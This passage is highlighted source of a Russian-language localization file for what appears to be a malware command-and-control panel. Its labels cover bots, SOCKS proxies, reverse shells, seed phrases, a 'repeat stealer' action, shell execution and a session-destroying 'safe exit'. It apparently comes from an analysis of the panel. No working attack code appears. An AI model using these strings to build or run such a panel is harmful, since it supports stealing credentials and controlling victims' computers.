font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Выйти`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-492">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">subscriptionExpires</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подписка истекает через`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-493">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">days</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count} дней`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-494">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">guestView</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Гостевой вид`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-495">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">socks</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Socks`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-496">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">nonPersistentBotsInfo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Непостоянные боты онлайн только в течение 3 дней`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-497">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">socksActiveInfo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Socks активны в течение 24 часов`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-498">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">subscription</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подписка`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-499">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">expiresIn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Истекает через {{count}} дней`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-500">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">appTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Приложение`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-501">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">returnToAdmin</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вернуться в админ-панель`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-502">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">seeds</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сиды`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-503">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">revshells</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Reverse Shells`</span></span>
<span id="cb28-504">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-505">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">admin</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-506">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">addUser</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Добавить пользователя`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-507">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">goToBlacklist</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Перейти к черному списку`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-508">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">nickname</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Никнейм`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-509">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">subExpiry</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Окончание подписки`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-510">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Действие`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-511">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">edit</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Изменить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-512">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">delete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-513">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">never</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Никогда`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-514">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">modalEditTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Изменить пользователя`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-515">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">modalAddTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Добавить пользователя`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-516">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">username</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Имя пользователя`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-517">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">password</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пароль`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-518">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cancel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Отмена`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-519">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">create</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Создать`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-520">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">save</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Сохранить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-521">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">processing</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Обработка...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-522">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirm</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подтвердить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-523">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">close</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Закрыть`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-524">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteUserPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить пользователя {{username}}?`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-525">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">safeExit</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`БЕЗОПАСНЫЙ ВЫХОД`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-526">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">safeExitTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подтвердите безопасный выход`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-527">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">safeExitPrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вы уверены, что хотите выполнить безопасный выход? Это действие уничтожит текущую сессию.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-528">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">safeExitWarning</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Это действие необратимо`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-529">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loginAs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Войти как`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-530">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loginAsUser</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Войти`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-531">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteWarning</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Это действие необратимо`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-532">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleting</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удаление...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-533">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dateFormat</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`MM.DD.YYYY`</span></span>
<span id="cb28-534">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-535">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">auth</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-536">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">login</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Логин`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-537">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">password</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пароль`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-538">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">signIn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Войти`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-539">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">signingIn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вход...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-540">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">welcomeBack</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`С возвращением`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-541">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loginToAccount</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Войдите в свой аккаунт, чтобы продолжить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-542">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enterUsername</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Введите логин`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-543">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">enterPassword</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Введите пароль`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-544">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">invalidCredentials</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Неверные учетные данные. Оставшиеся попытки: {{count}}. Попробуйте снова.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-545">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">secureLogin</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Ваше соединение защищено и зашифровано`</span></span>
<span id="cb28-546">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-547">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">blacklist</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-548">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">title</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Управление черным списком`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-549">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">searchPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Поиск по IP...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-550">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ipAddress</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP Адрес`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-551">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Действие`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-552">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">delete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-553">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loading</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Загрузка...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-554">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noIpFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP-адреса по вашему запросу не найдены.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-555">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">empty</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Черный список пуст.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-556">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmDeleteTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Подтвердите удаление`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-557">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">confirmDeletePrompt</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Вы уверены, что хотите удалить IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-558">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">backToAdmin</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Назад в админку`</span></span>
<span id="cb28-559">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-560">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">bots</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-561">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">botLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Бот`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-562">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">online</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Онлайн`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-563">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">offline</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Оффлайн`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-564">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">repeatPersistent</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Repeat Persistent`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-565">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Удалить всех ботов`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-566">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">searchPlaceholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Поиск по IP...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-567">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">id</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-568">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-569">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">macOS</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`MacOS`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-570">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">lastConnect</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Последнее подключение`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-571">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">persistent</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Постоянный`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-572">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">status</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Статус`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-573">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Действие`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-574">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">country</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Страна`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-575">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">yes</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Да`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-576">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">no</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Нет`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-577">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loading</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Загрузка ботов...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-578">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noBots</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Боты не найдены.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-579">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">menu</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-580">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">doShell</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Выполнить shell`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-581">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">repeatStealer</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Повторить стилер`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-582">                <span class="dt" style="color: #AD0000;
background-color: null;
